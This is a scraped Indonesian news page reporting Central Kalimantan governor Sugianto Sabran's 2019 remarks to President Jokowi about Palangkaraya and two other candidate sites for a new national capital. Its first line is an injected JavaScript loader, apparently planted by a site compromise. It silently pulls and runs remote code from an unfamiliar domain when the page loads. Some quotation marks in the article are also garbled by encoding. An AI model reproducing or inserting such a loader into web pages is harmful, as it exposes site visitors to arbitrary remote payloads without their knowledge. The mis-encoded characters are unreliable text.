(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Gubernur Kalimantan Tengah H Sugianto Sabran mengatakan kota Palangkaraya sudah tidak fleksibel jika dijadikan ibu kota baru. Pernyataan itu pernah disampaikan saat ditanya langsung oleh Presiden Jokowi terkait kesiapan Palangkaraya menjadi Ibu Kota baru.
Sugianto menjelaskan, Kota Palangkaraya kemungkinan tidak fleksibel lantaran perkembangan zaman.
“Pak Jokowi pernah bilang, pak gubernur masih fleksibel tidak kota Palangkaraya untuk menjadi pusat pemerintahan, saya jawab, “mohon maaf pak presiden, kemungkinan tidak fleksibel lagi karena perkembangan zaman, kelahiran bertambah, perekonomianâ€Â,†ujar Sugianto di Kantor Staf Presiden, Kompleks Istana Kepresidenan, Jakarta, Senin (6/5/2019).
Dalam kesempatan itu, ia sempat menawarkan tiga lokasi di Kalimantan Tengah kepada Jokowi untuk dijadikan alternatif ibu kota baru pengganti Jakarta.
Tiga daerah yang diusulkan Sugianto adalah Kabupaten Katingan dengan luas area sekitar 120 ribu hektare dan Kabupaten Gunung Mas dengan luas area sekitar 121 ribu hektare. Meski demikan, Palangkaraya juga masih diusulkan karena memiliki luas area sekitar 66 ribu hektare.
“Saya ajukan tiga tempat, itu ada di kota Palangkaraya sendiri, luas arealnya 66 ribu hektare lebih, habis itu di Kabupaten Katingan itu ada 120 ribu hektare lebih, Kabupaten Gunung Mas itu ada 121 ribu hektare lebih. Palangkaraya dipilih karena historis dari keinginan Bung Karno dulu. Tapi sudah tidak fleksibel,†kata Sugianto.
“Kami siapkan, saya jawab waktu itu sekitar 300-500 ribu hektare. kenapa disiapkan 300-500 ribu hektare? Pak Menteri tadi menyampaikan bahwa kita butuh cuma 40 ribu hektare,†sambungnya.
Sugianto menyebut lahan di Kalimantan Tengah yakni 1,5 kali lebih luas dari Pulau Jawa. Menurutnya, lahan di Kalimantan Tengah akan terus ada untuk dikembangkan.
“Tapi dengan luas Kalimantan Tengah itu 1,5 kali Pulau Jawa dan provinsi terluas kedua setelah Papua, dengan kepadatan penduduk 2 juta lebih, terdiri dari 136 kecamatan, dan lain-lain,†kata dia .
Dari kebutuhan air tawar di wilayah Kalimantan Tengah, kata Sugianto, 11 daerah aliran sungai (DAS) dengan ratusan sungai kecil yang mengalir serta dua DAS besar yakni Katingan dan Kahayan.
“Ini akan menjadi keunggulan dari ibu kota pusat pemerintahan kalau betul nanti akan dipercaya presiden menjadi pusat pemerintahan. Kalau Kalteng diberikan kepercayaan, kami siap intinya,†kata Sugianto.
Ia kemudian menyebut Kalimantan Tengah siap jika pemerintah pusat menunjuk Kalteng yang menjadi lokasi ibu kota baru. Sugianto kemudian menjamin masyarakat di sana akan menerima jika Kalimantan Tengah jadi ibu kota baru.
“Orang dayak itu selalu terbuka pak, nasionalis, dan siap apabila pak presiden betul-betul memindahkan (ibu kota) ke Kalteng dan kalau dilihat dari segi cost infrastruktur juga akan murah,†kata dia.
“Kedepan juga Kalimantan itu gambarnya seperti Jakarta dengan Bandung. Jadi kalau Kalteng itu Palangkarayanya dataran, tapi arah Kalteng, Kabupaten Gunung Mas itu ada seperti Bandung,†Sugianto menambahkan. (suara.com)
Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
This website uses cookies.